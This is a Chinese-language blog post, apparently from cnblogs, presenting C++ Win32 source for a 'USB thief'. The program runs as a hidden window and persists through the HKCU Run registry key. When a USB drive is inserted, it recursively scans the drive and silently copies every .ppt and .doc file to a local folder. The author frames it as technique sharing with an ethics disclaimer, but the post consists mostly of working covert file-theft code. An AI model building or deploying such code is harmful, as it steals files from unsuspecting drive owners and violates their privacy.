zoukankan      html  css  js  c++  java
  • U盘小偷——C++实现U盘插入检测和文件扫描拷贝

    前几天女朋友说老师上课的PPT不共享,没法复习,想着写个U盘小偷拷贝PPT来着,后来觉得这样的行为这是不对的,万一不小心复制了老师的专利啥的,或者一些不可描述的东西,就闹大了。

    虽然没有采取实际行动,但是相关的功能还是实现,技术共享。

    重点就是U盘插入监控,获得U盘盘符,开机自启动,文件扫描和复制。

    1.对u盘插入行为监控,并获得盘符

      当U盘插入的时候会产生一个消息WM_DEVICECHANG,只要我们获得这个消息,然后进行处理就行。

      为了获得消息,我们需要一个窗口

      

    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
        PSTR szCmdLine, int iCmdShow)
    {
        static TCHAR szAppName[] = TEXT("UUUUUU");
        HWND               hwnd;
        MSG                msg;
        WNDCLASS           wndclass;
    
        wndclass.style = 0;
        wndclass.lpfnWndProc = WndProc;
        wndclass.cbClsExtra = 0;
        wndclass.cbWndExtra = 0;
        wndclass.hInstance = hInstance;
        wndclass.hIcon = 0;
        wndclass.hCursor = 0;
        wndclass.hbrBackground = 0;
        wndclass.lpszMenuName = NULL;
        wndclass.lpszClassName = szAppName;
    
        SetAutoRun(TRUE);
        if (!RegisterClass(&wndclass))
        {
            MessageBox(NULL, TEXT("Program requires Windows NT!"),
                szAppName, MB_ICONERROR);
            return 0;
        }
        hwnd = CreateWindow(szAppName, NULL,
            WS_DISABLED,
            0, 0,
            0, 0,
            NULL, NULL, hInstance, NULL);
        while (GetMessage(&msg, NULL, 0, 0))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
        return msg.wParam;
    }

      窗口回调函数:

    LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
        lParam)
    {
        switch (message)
        {
        case WM_CREATE:           //处理一些要下面要用到的全局变量
            U[1] = ':';
    
            SetTimer(hwnd, TIMER, 5000, 0);//启动计时器
    
            return 0;
        case WM_TIMER:             //timer message 
    
            SendMessage(hwnd, WM_DEVICECHANGE, 0, 0);//检测有没有插入设备消息
    
            return 0;
        case WM_DEVICECHANGE:
            OnDeviceChange(hwnd, wParam, lParam);
            return 0;
        case WM_DESTROY:
            KillTimer(hwnd, TIMER);
            PostQuitMessage(0);
            return 0;
        }
        return DefWindowProc(hwnd, message, wParam, lParam);
    }
      OnDeviceChange函数是对WM_DEVICECHANGE消息的处理,在这个函数里,就可以实现对u盘插入行为的监控,并处理。
    LRESULT OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam)
    {
        PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
        switch (wParam)
        {
        case DBT_DEVICEARRIVAL: //插入
            if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME)
            {
                PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
                U[0] = FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盘盘符
                //MessageBox(0, U, "Notice!", MB_OK);
                string Utemp;
                Utemp = U;
            //    Utemp += "\";
                Filesearch(Utemp, 0);  //搜索u盘
                CopyPPT(FileList);    //复制ppt
                CopyDOC(FileList);    //复制doc
                //MessageBox(0, "Copy Success", "Notice!", MB_OK);
    
            }
            break;
        case DBT_DEVICEREMOVECOMPLETE: //设备删除
            //MessageBox(0, "u盘退出", "Notice!", MB_OK);
            break;
        }
        return LRESULT();
    }
      FirstDriveFromMask(lpdbv->dbcv_unitmask);可以获得盘符,有了盘符,U盘就相当于一个普通的文件夹了。

    2.文件遍历 查找 搜索 复制
    void Filesearch(string Path, int Layer)
    {
        FileInfo FileInfomation;
        struct _finddata_t filefind;
        string Current = Path + "\*.*";                            // 修改此处改变搜索条件
        int Done = 0, i, Handle;
        string FullPath;
        if ((Handle = _findfirst(Current.c_str(), &filefind)) != -1)
        {
            while (!(Done = _findnext(Handle, &filefind)))
            {
                if (strcmp(filefind.name, "..") == 0)
                    continue;
                for (i = 0; i <Layer; i++)
                    printf("	");
                if ((_A_SUBDIR == filefind.attrib))                // 是目录
                {
                    printf("[Dir]:	%s
    ", filefind.name);
                    Current = Path + "\" + filefind.name;
                    Filesearch(Current, Layer + 1);                    // 递归遍历子目录
                }
                else
                {
                    printf("[File]:	%s
    ", filefind.name);
                    FullPath = Path + "\" + filefind.name;
                    FileInfomation.Name = filefind.name;
                    FileInfomation.FullPath = FullPath;
                    FileList.push_back(FileInfomation);
                    FullPath.empty();
                }
            }
            _findclose(Handle);
        }
    }
    
    void CopyPPT(vector<FileInfo> FileList)
    {
            mkdir("C:\Destest");
            for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
            {
                string TempPath;
                //printf("%s
    ", iterator->);
                
                if ((int)(iterator->Name.find(".ppt")) > 0)
                {
                    TempPath = DesPath + "\" + iterator->Name ;
                    BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
                    cout << GetLastError();
                    if (bOk == TRUE)
                    {
                    //    MessageBox(0, "Copy Success", "Notice!", MB_OK);
    
                    }
                    else
                    {
                    //    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
                    }
                }
    
            }
    }
    
    void CopyDOC(vector<FileInfo> FileList)
    {
        mkdir("C:\Destest");
        for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
        {
            string TempPath;
            //printf("%s
    ", iterator->);
    
            if ((int)(iterator->Name.find(".doc")) > 0)
            {
                TempPath = DesPath + "\" + iterator->Name;
                BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
                cout << GetLastError();
                if (bOk == TRUE)
                {
                    //    MessageBox(0, "Copy Success", "Notice!", MB_OK);
    
                }
                else
                {
                    //    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
                }
            }
        }
    }


    3.开机自启动 注册表实现
    void SetAutoRun(BOOL bAutoRun)
    {
        HKEY hKey;
        char* strRegPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\Run";//找到系统的启动项  
        if (bAutoRun)
        {
            if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) //打开启动项       
            {
                TCHAR szModule[_MAX_PATH];
                GetModuleFileName(NULL, szModule, _MAX_PATH);//得到本程序自身的全路径  
                RegSetValueEx(hKey, "U盘检测", 0, REG_SZ, (const BYTE*)(LPCSTR)szModule, strlen(szModule)); //添加一个子Key,并设置值,"Client"是应用程序名字(不加后缀.exe)  
                RegCloseKey(hKey); //关闭注册表  
            }
            else
            {
            //    MessageBox("系统参数错误,不能随系统启动");
            }
        }
        else
        {
            if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
            {
                RegDeleteValue(hKey, "U盘检测");
                RegCloseKey(hKey);
            }
        }
    }

    Win10下可以实现功能,另外这不是控制台程序,为了实现对消息的监控,这得是窗口程序。

    猥琐的小程序可能包含一些奇淫技巧,但是还是不能做非法不道德事。



  • 相关阅读:
    搬家通知
    URL tailing slash
    HowTo: Linux Server Change OR Setup The Timezone
    [引] Security tips for web developers
    [转] Finding the Best Programmer's Font
    Recovering deleted Records
    How to stop uwsgi when no pidfile in config?
    [uwsgi] no request plugin is loaded, you will not be able to manage requests.
    Debian Environment Variables
    Memcached vs. MongoDB vs. Redis Comparison
  • 原文地址:https://www.cnblogs.com/HsinTsao/p/6718806.html
Copyright © 2011-2022 走看看